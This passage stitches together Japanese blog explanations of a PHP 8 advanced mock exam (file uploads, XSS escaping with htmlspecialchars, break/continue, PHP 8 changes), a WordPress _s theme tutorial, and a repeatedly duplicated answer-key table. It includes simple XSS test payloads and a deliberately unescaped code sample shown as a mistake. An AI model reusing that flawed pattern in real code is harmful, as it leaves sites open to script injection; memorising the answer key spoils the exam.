      <button>upload</button>
    </form>

    をブラウザで閲覧して以下のコード

    var_dump($_FILES['f']['name']);
    var_dump(is_readable($_FILES['f']['name']));

    を実行すると、結果は次のとおりとなる。

    string(8) “exam.txt”
    bool(true)

    ファイルアップロードを扱うときに、tmp_name と name の違いをしっかり理解しておかないと、バグやセキュリティ事故のもと

    項目$_FILES['f']['name']$_FILES['f']['tmp_name']
    意味ユーザーのPCでの元のファイル名サーバーに一時的に保存されたファイルのパス
    使い道表示用、保存名のベースなどmove_uploaded_file()第1引数として必須
    実ファイルとの対応ない(名前だけ)ある(実際にファイルが存在する)
    is_readable()ほぼ false(サーバーには存在しない)読める(アップロード成功時のみ)
    信頼性❌ 改ざんされる可能性あり✅ PHPが生成、信頼できる
    注意点– 日本語や記号で文字化けの可能性

    問題文で指定している$_FILES[‘f’][‘name’]はクライアント側のファイル名であり、実際のファイルパスではありません

    そのため、is_readable()でこの値をチェックしても意味がありません

    よって問題文は誤り❌です

    PHP で複数のファイルをアップロードする時には、form に複数の「type=”file”」が、異なる name アトリビュート値 (または配列) であれば受け取る事ができる。

    そのため、以下の HTML

    <form action="sample.php" enctype="multipart/form-data" method="POST">
     <input name="userfile[]" type="file" />
     <input name="userfile[]" type="file" />
     <input name="file_1" type="file" />
     <input name="file_2" type="file" />
     <button>Submit</button>
    </form>

    をブラウザで閲覧して以下のコード

    var_dump($_FILES['userfile']['tmp_name']);
    var_dump($_FILES['file_1']['tmp_name']);
    var_dump($_FILES['file_2']['tmp_name']);

    を実行すると、結果は次のとおりとなる。(ファイル名は実行毎に変わる)

    array(2) {
    [0]=>
    string(14) “/tmp/phpdmFh86”
    [1]=>
    string(14) “/tmp/phpBOFw0X”
    }
    string(14) “/tmp/phpZP2LSO”
    string(14) “/tmp/php3GG1KF”

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題17. XSS (クロスサイトスクリプティング) htmlspecialchars()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 17

    XSS (クロスサイトスクリプティング) に関する説明の中で、誤っているものを1つ選びなさい。
    なお、すべてのコードの先頭には下記のコードが書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    htmlspecialchars ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string
    htmlentities ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string

    第二引数 (flags) の定数
    ENT_COMPAT ダブルクオートは変換しますがシングルクオートは変換しません。
    ENT_QUOTES シングルクオートとダブルクオートを共に変換します。
    ENT_NOQUOTES シングルクオートとダブルクオートは共に変換されません。

    HTML の動的な生成において、実装に問題があるとXSS 脆弱性が発生する。
    そのためには、適切な引数で htmlspecialchars() 関数、または htmlentities() 関数を使う必要がある。
    そのため、以下のコード

    $input = "alert('test');";
    $e_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    echo $e_input;

    を実行すると、結果は次のとおりとなる。

    <script>alert('test');</script>

    となり、必要なエスケープが全てなされているので、XSSを防ぐ事ができる。

    XSS攻撃の仕組み 悪意のあるユーザー <script>alert(‘XSS’)</script> HTMLやJSコードを入力 入力 サーバー エスケープ処理なし そのままHTMLに埋め込み 出力 ブラウザ HTMLとして解釈 スクリプトが実行される !

    XSSを発生させないポイントは文字列をHTMLとして出力する時には、htmlspecialchars()またはhtmlentities()を使用してすべてエスケープ処理することです!

    主な変換:

    • <&lt;
    • >&gt;
    • "&quot;
    • '&#039;(ENT_QUOTESフラグ使用時)
    • &&amp;

    htmlspecialchars()によるXSS対策 入力テキスト alert(‘test’); htmlspecialchars() ENT_QUOTES, ‘UTF-8’ 出力 alert('test'); 主な文字変換 < &lt; > &gt; " &quot; ' &#039; HTMLタグは含まれていないので、出力は “alert(‘test’);” となります

    以下のコード

    $e_test = htmlspecialchars(filter_input(INPUT_GET, 'test'), ENT_QUOTES, 'UTF-8');
    echo "{$e_test}
    ";

    によって、適切に入力がエスケープされるため XSS を防ぐ事ができる。
    ただし、もしパラメタ test に配列が入ってきている場合、またはパラメタ test が存在しない場合は、filter_input() 関数の戻り値の仕様が成功した場合は要求された変数の値、フィルタリングに失敗した場合に false、 あるいは変数 var_name が設定されていない場合に null を返します。
    であるため、結果は次のとおりとなる。

    Fatal error: Uncaught TypeError: htmlspecialchars(): Argument #1 ($string) must be of type string, null given in ...

    htmlspecialchars() は string 型しか受け付けない ため、引数が null や false だと TypeError が発生する。

    htmlspecialchars() の落とし穴 ✅ 正しい使用例 $e_test = htmlspecialchars(filter_input(INPUT_GET, ‘test’) ?? ”, ENT_QUOTES, ‘UTF-8’); echo “{$e_test}”; ❌ 誤った使用例 $e_test = htmlspecialchars(filter_input(INPUT_GET, ‘test’), ENT_QUOTES, ‘UTF-8’); → test に配列や未定義の値が入ると Fatal error (TypeError: htmlspecialchars(): Argument #1 must be of type string, null given)

    問題文の内容は正しい⭕です

    以下のコード

    $val = $_GET['test'] ?? '';
    
    if ( is_string($val) ) {
        $ret = htmlentities($val, ENT_QUOTES, 'UTF-8');
        echo "{$ret}
    ";
    } else {
        foreach($val as $v) {
            echo "{$v}
    ";
        }
    }

    をブラウザ経由で実行すると、test に文字列が入ってきても配列が入ってきても、適切に XSS 対策を行う事ができる。

    配列の各要素にエスケープがないため、$v に悪意あるHTMLやJSが含まれていたらXSSが発生してしまします、よって内容は❌です

    $_GET[‘test’] に文字列で任意のユーザ入力が入っている (配列ではない) とした時に、以下のコード

    $ret = htmlspecialchars($_GET['test'], ENT_COMPAT);
    echo "{$ret}
    ";

    をブラウザ経由で実行すると、シングルクオートが変換されないため、XSS が発生する可能性がある。この実装は適切ではない。

    シングルクォートとダブルクォートの両方をエスケープ XSS攻撃からより確実に保護

    ENT_COMPATは主に後方互換性のために残されている機能であり、新規開発では基本的にENT_QUOTESを使用することが推奨されます。

    htmlspecialchars()のフラグによる違い ENT_COMPAT(非推奨) < → &lt; > → &gt; ” → &quot; ‘ → ‘(変換なし) ENT_QUOTES(推奨) < → &lt; > → &gt; ” → &quot; ‘ → &#039; XSS攻撃の例(ENT_COMPATの場合) 入力値: onclick=’alert(“XSS”)’ 変換後: onclick=’alert(“XSS”)’ HTMLでの結果: <div onclick=’alert(“XSS”)’> → シングルクォートが変換されないためXSS攻撃が可能

    よって選択肢の内容は正しい⭕です

    htmlspecialchars()のフラグ一覧 ENT_COMPAT ダブルクォートのみエンコード。シングルクォートはそのまま(デフォルト) ENT_QUOTES シングルクォートとダブルクォートの両方をエンコード(推奨) ENT_NOQUOTES クォートを一切エンコードしない ENT_HTML401 HTML 4.01に準拠したエンコード ENT_XML1 XML 1.0に準拠したエンコード ENT_XHTML XHTMLに準拠したエンコード ※ フラグは | を使って組み合わせることが可能

    (実践)htmlspecialchars()を使用してフォームを作成

    <?php
    
    /**
     * Plugin Name: (PHP準上級模擬問題解説17)HTMLSpecial Form Preview
     * Description: フォームからの入力を htmlspecialchars() と <pre> タグで安全に表示するショートコードを提供
     */
    
    function hscf_render_form()
    {
        ob_start();
    
        // POSTされたかどうか明示的に判定
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            // htmlspecialchars() でエスケープ
            $name = htmlspecialchars($_POST['hscf_name'] ?? '', ENT_QUOTES, 'UTF-8');
            $email = htmlspecialchars($_POST['hscf_email'] ?? '', ENT_QUOTES, 'UTF-8');
        }
    
        // フォーム表示
        echo '<form method="post">';
        echo '<label>お名前:</label><br>';
        echo '<input type="text" name="hscf_name"><br><br>';
        echo '<label>メールアドレス:</label><br>';
        echo '<input type="email" name="hscf_email"><br><br>';
        echo '<button type="submit">送信</button>';
        echo '</form>';
    
        // POSTされたときのみ表示を行う
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            echo '<h3>入力された内容(エスケープ済):</h3>';
            echo '<pre>';
            echo 'お名前:' . $name . "\n";
            echo 'メール:' . $email . "\n";
            echo '</pre>';
        }
    
        return ob_get_clean();
    }
    
    add_shortcode('htmlspecial_contact_form', 'hscf_render_form');
    

    プラグインで作成したサンプルお問い合わせフォーム







    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    _scoreで始めるWordPress自作テーマ開発

    _scoreとは?

    _scoreは、Automattic社が開発したWordPressのスターターテーマです。モダンな開発環境と必要最小限の機能を備えており、自作テーマ開発の土台として最適です。

    開発環境のセットアップ

    必要な準備物

    • ローカル開発環境(Local by Flywheel、Docker等)
    • コードエディタ(VSCode推奨)

    オプションの開発ツール

    以下は必須ではありませんが、より高度な開発のために使用できます:

    • Node.js と npm/yarn(Sassのコンパイルやアセット管理に使用)
    • Gulp(タスクランナーとして使用する場合)
    WordPressテーマ開発フロー Step 1: _scoreの入手 underscores.meから Step 2: テーマの配置 wp-content/themes/に配置 Step 3: テーマの有効化 管理画面から有効化 開発作業 style.cssの編集 基本スタイル PHPファイルの編集 テンプレート functions.php 機能追加 オプション: 必要に応じてnpm/Sassを導入

    インストール手順

    1. _scoreの入手方法:
      • _scoreの公式サイトにアクセス
      • テーマ名を入力して「Generate」をクリック
      • ダウンロードしたZIPファイルを解凍
    2. WordPressテーマディレクトリに配置:
      • 解凍したフォルダをwp-content/themes/に配置
      • 管理画面からテーマを有効化

    これだけで基本的な開発を始めることができます。

    1. テーマ名の変更:
    • _sを自分のテーマ名に
    • Text Domain: _sを自分のテーマ名に
    • functions.phpの接頭辞_s_を変更
    your-theme-name/
    ├── inc/                  # 機能拡張用のPHPファイル
    ├── js/                   # JavaScriptファイル
    ├── sass/                 # Sassファイル
    ├── template-parts/       # テンプレートパーツ
    ├── functions.php         # テーマの機能定義
    ├── header.php           # ヘッダーテンプレート
    ├── footer.php           # フッターテンプレート
    └── style.css            # メインのスタイルシート

    theme編集方法

    追加の機能をfunctions.phpとは別で記述

    functions.php

    <?php
    
    /**
     * カスタム機能の読み込み
     */
    require get_template_directory() . '/inc/custom-functions.php';
    

    inc\custom-functions.php

    <?php
    
    /**
     * カスタム機能の追加
     *
     * @package simple-form-theme
     */
    
    if (! defined('ABSPATH')) {
        exit; // WordPress以外からのアクセスを防ぐ
    }
    
    // ここに独自の関数やフックを追加できます 

    その他のテーマの選択肢について

    _score以外にもWordPressテーマ開発には様々な選択肢があります。以下に主な選択肢を紹介します。

    • Sage (旧 Roots)
    • Astra
    • GeneratePress

    【php8上級/準上級試験】模擬問題解説 問題16. if for break

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 16

    制御構造に関する説明の中で、誤っているものを1つ選びなさい。
    なお、すべてのコードの先頭には下記のコードが書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);

    PHP の制御構造 (if, while, for, foreach, switch) では、波括弧 {} の変わりに「開き波括弧をコロン(:)、閉じ波括弧をそれぞれ endif;, endwhile;, endfor;, endforeach;, endswitch; に変更する」事が出来る。そのため、以下のコード

    <?php
    $i = 10;
    
    if ($i > 9) : ?>
        $i は9より大きい
    <?php else : ?>
        $i は9以下
    <?php endif; ?>

    を実行すると、結果は次のとおりとなる。

     $i は9より大きい

    HTMLとPHPコードを混在して書くようなファイルで重宝された記法です!

    最近は書くシーンは減りつつある、、

    PHP の制御構造における代替構文 通常の制御構造 if ($i > 9) { echo “$i は9より大きい”; } else { echo “$i は9以下”; } 代替構文 if ($i > 9) : echo “$i は9より大きい”; else : echo “$i は9以下”; endif; 代替構文の特徴 • HTML埋め込み時に可読性を向上させる • {} の代わりに : と endif; を使用

    この説明に誤りはありません。内容は⭕です

    break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了する。そのため、以下のコード

    for($i = 0; $i < 10; ++$i) {
        echo "{$i}¥n";
        break;
    }

    を実行すると、結果は次のとおりとなる。

    0

    問題文の内容は正しい⭕です

    break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了する。
    また、break ではオプションの引数でネストしたループ構造を抜ける数を指定することができる。
    いくつかネストしているループの内側で「その全てのループを抜け出したい」場合、大きな値をとりあえず入れておくとよい。そのため、以下のコード

    $i = $j = 0;
    
    while($i < 10) {
        echo "i is {$i}", PHP_EOL;
        $i ++;
    
        while($j < 10) {
            echo "j is {$j}", PHP_EOL;
            $j ++;
            break 999;
        }
    }

    を実行すると、結果は次のとおりとなる。

    i is 0
    j is 0

    break文の制限

    breakに指定できる数値は、実際のネストレベル以下である必要があります
    999のような大きな値を指定すると、PHPはエラーを発生させます

    break文の制限と動作 正しい使用法 while ($i < 10) { while ($j < 10) { break 2; // OK } } 誤った使用法 while ($i < 10) { while ($j < 10) { break 999; // エラー } } break文の制限事項 • breakの引数は実際のネストレベル以下である必要がある • 大きな値(999など)を指定するとエラーになる • 最大値は実際のネストの深さまで

    よって問題文は誤り❌です

    continue は、ループ構造 (for, foreach, while, do-while) において現在の繰り返しループ の残りの処理をスキップし、条件式を評価した後に 次の繰り返しの最初から実行を続けるために使用される。
    PHP 7.3 以降、switch 内部で break 文のように振る舞おうとする continue については、E_WARNING をトリガーするようになった。そのため、以下のコード

    $i = 2;
    
    switch($i) {
        case 0:
        case 1:
            echo "i is {$i}", PHP_EOL;
            continue;
        default:
            echo "i is {$i}: final", PHP_EOL;
            continue;
    }

    PHP 7.2 までであれば、結果は次のとおりとなる。

    i is 2: final

    PHP 7.3 以降は、結果は次のとおりとなる。

    Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in ....

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題15. private final nullsafe演算子

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 15

    PHP 7.4.x から PHP 8.0.x への移行 に関する説明の中で、誤っているものを1つ選びなさい。
    なお、すべてのコードの先頭には下記のコードが書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);

    PHP 8 では、nullsafe 演算子がサポートされた。そのため、以下のコード

    class Hoge {
        public function f1() {
            echo __METHOD__, PHP_EOL;
            return $this;
        }
    
        public function f2() {
            echo __METHOD__, PHP_EOL;
            return null;
        }
    
        public function f3() {
            echo __METHOD__, PHP_EOL;
            return $this;
        }
    }
    
    $val = (new Hoge())?->f1()?->f2()?->f3();
    var_dump($val);

    を実行すると、結果は次のとおりとなる。

    Hoge::f1
    Hoge::f2
    NULL

    今までは、いちいちif文でnullチェックが必要でした

    if ($obj !== null && $obj->foo !== null) {
        $obj->foo->bar();
    }

    これがPHP 8以降ならこう書ける

    「nullだったらそれ以上アクセスしないでnull返して終わる」

    $obj?->foo?->bar(); // どこかでnullだったら、即nullで終わる

    問題文の内容の流れは

    1. (new Hoge())?->f1()

    • new Hoge() でインスタンス作成 → nullじゃないから f1() 実行
    • Hoge::f1 と出力される
    • $this が返る(つまりまだオブジェクト)

    2. ...?->f2()

    • f1() の返り値($this)に対して ?->f2() を呼ぶ
    • Hoge::f2 と出力される
    • null が返る!

    3. ...?->f3()

    • f2() の返り値は null、なので nullsafe演算子が発動!
    • f3()呼ばれない!
    • → 結果は null

    この説明に誤りはありません。内容は⭕です

    PHP 8 では、(厳密でないやり方で) 数値と非数値文字列を比較する場合、数値を文字列にキャストし、文字列と比較するようになった。そのため、以下のコードを

    var_dump( 2 == '2' );
    var_dump( 0 == '0' );
    var_dump( 2 == '2a' );
    var_dump( 0 == '' );
    var_dump( 0 == 'foo' );

    PHP 7.4 で動かすと、結果は次のとおりとなる。

    bool(true)
    bool(true)
    bool(true)
    bool(true)
    bool(true)

    PHP 8.0 で動かすと、結果は次のとおりとなる。

    bool(true)
    bool(true)
    bool(false)
    bool(false)
    bool(false)

    問題文の内容は正しい⭕です

    private なメソッドは「継承されない」はずだが、PHP 7 では親のメソッドと同じ名前のメソッドは、親のメソッドの可視性に関係なく、一部の継承ルールがチェックされていたが、これが PHP 8 では変更された。そのため、以下のコードを

    class Hoge {
        final private function pFunc1() {
            echo __METHOD__, PHP_EOL;
        }
    }
    
    class Foo extends Hoge {
        private function pFunc1() {
            parent::pFunc1();
            echo __METHOD__, PHP_EOL;
        }
    
        public function callPri() {
            $this->pFunc1();
        }
    }
    
    (new Foo())->callPri();

    PHP 7.4 で動かすと、結果は次のとおりとなる。

    PHP Fatal error: Cannot override final method Hoge::pFunc1() in …

    PHP 8.0 で動かすと、結果は次のとおりとなる。

    Hoge::pFunc1
    Foo::pFunc1

    privateメソッドはそもそも継承されません

    privateメソッドはそのクラス内でのみアクセス可能です
    子クラスで同じ名前のメソッドを定義することは可能ですが、これは全く別のメソッドとして扱われます

    上記よりprivateメソッドにfinalを付けても意味がない(そもそも継承されない)

    final キーワードの使用例 final クラスの場合 final class ParentClass // このクラスは継承できない class ChildClass extends ParentClass // 継承できないのでエラー final メソッドの場合 class ParentClass final public function method() // オーバーライド禁止 class ChildClass public function method() // メソッドの上書きはエラー finalキーワードの用途 • クラスに対して使用:そのクラスを継承できなくする • メソッドに対して使用:子クラスでのオーバーライドを禁止する • セキュリティや設計の意図を強制するために使用される

    よって問題文は誤り❌です

    PHP 8 では、インタンスに対する ::class がサポートされた。そのため、以下のコードを

    class Hoge {
    }
    
    var_dump( Hoge::class );
    $obj = new Hoge();
    var_dump( $obj::class );

    PHP 7.4 で動かすと、結果は次のとおりとなる。

    PHP Fatal error:  Cannot use ::class with dynamic class name in ...

    PHP 8.0 で動かすと、結果は次のとおりとなる。

    string(4) "Hoge"
    string(4) "Hoge"

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
